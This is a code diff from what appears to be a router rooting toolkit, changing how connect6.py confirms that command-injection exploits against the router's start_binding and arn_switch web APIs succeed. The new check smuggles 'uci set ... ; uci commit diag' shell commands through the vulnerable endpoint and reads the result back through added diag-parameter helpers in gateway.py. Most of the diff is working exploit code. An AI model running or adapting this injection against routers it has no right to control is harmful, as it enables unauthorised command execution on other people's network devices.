connect6: Replace set_sys_time to set_diag_iperf_test_thr

connect6.py

@@ -54,26 +54,25 @@ def exploit_2(cmd, api = 'API/xqsystem/start_binding'):
     return res
 
 
-# get device orig system time
-dst = gw.get_device_systime()
+# set default value for iperf_test_thr
+gw.set_diag_iperf_test_thr(20)
 
+vuln_test_num = 82000011
 exec_cmd = None
 exp_list = [ exploit_2, exploit_1 ]
 for exp_func in exp_list:
-    res = exp_func("date -s 203301020304")
+    res = exp_func(f"uci set diag.config.iperf_test_thr={vuln_test_num} ; uci commit diag")
     #if '"code":0' not in res:
     #    continue
-    time.sleep(1.2)
-    dxt = gw.get_device_systime()
-    if dxt['year'] == 2033 and dxt['month'] == 1 and dxt['day'] == 2:
-        if dxt['hour'] == 3 and dxt['min'] == 4:
+    time.sleep(0.5)
+    iperf_test_thr = gw.get_diag_iperf_test_thr()
+    if iperf_test_thr == str(vuln_test_num):
         exec_cmd = exp_func
         break
-    time.sleep(1)
+    time.sleep(0.5)
 
-# restore orig system time
-time.sleep(1)
-gw.set_device_systime(dst)
+# set default value for iperf_test_thr
+gw.set_diag_iperf_test_thr(20)
 
 if not exec_cmd:
     die('Exploits arn_switch/start_binding not working!!!')

gateway.py

@@ -337,6 +337,31 @@ class Gateway():
         raise RuntimeError(f'Error on exec command "set_sys_time" => {dres}')
     return True
 
+  def get_diag_paras(self):
+    # http://192.168.31.1/cgi-bin/luci/;stok=14b996378966455753104d187c1150b4/api/xqnetwork/diag_get_paras
+    # response: {"code":0,"signal_thr":"-60","usb_read_thr":0,"disk_write_thr":0,"disk_read_thr":0,"iperf_test_thr":"25","usb_write_thr":0}
+    dres = self.api_request('API/xqnetwork/diag_get_paras')
+    if not dres or dres['code'] != 0:
+        raise RuntimeError(f'Error on get diag_get_paras => {dres}')
+    return dres
+
+  def get_diag_iperf_test_thr(self):
+    resp = self.get_diag_paras()
+    return str(resp['iperf_test_thr'])
+
+  def set_diag_iperf_test_thr(self, iperf_test_thr):
+    params = {
+                'iperf_test_thr': str(iperf_test_thr),
+                'usb_read_thr': 0,
+                'usb_write_thr': 0,
+                'disk_read_thr': 0,
+                'disk_write_thr': 0,
+             }
+    dres = self.api_request('API/xqnetwork/diag_set_paras', params)
+    if not dres or dres['code'] != 0:
+        raise RuntimeError(f'Error on exec command "diag_set_paras" => {dres}')
+    return True
+
   def wait_shutdown(self, timeout, verbose = 1):
     if verbose:
       print('Waiting for shutdown: ', end='', flush=True)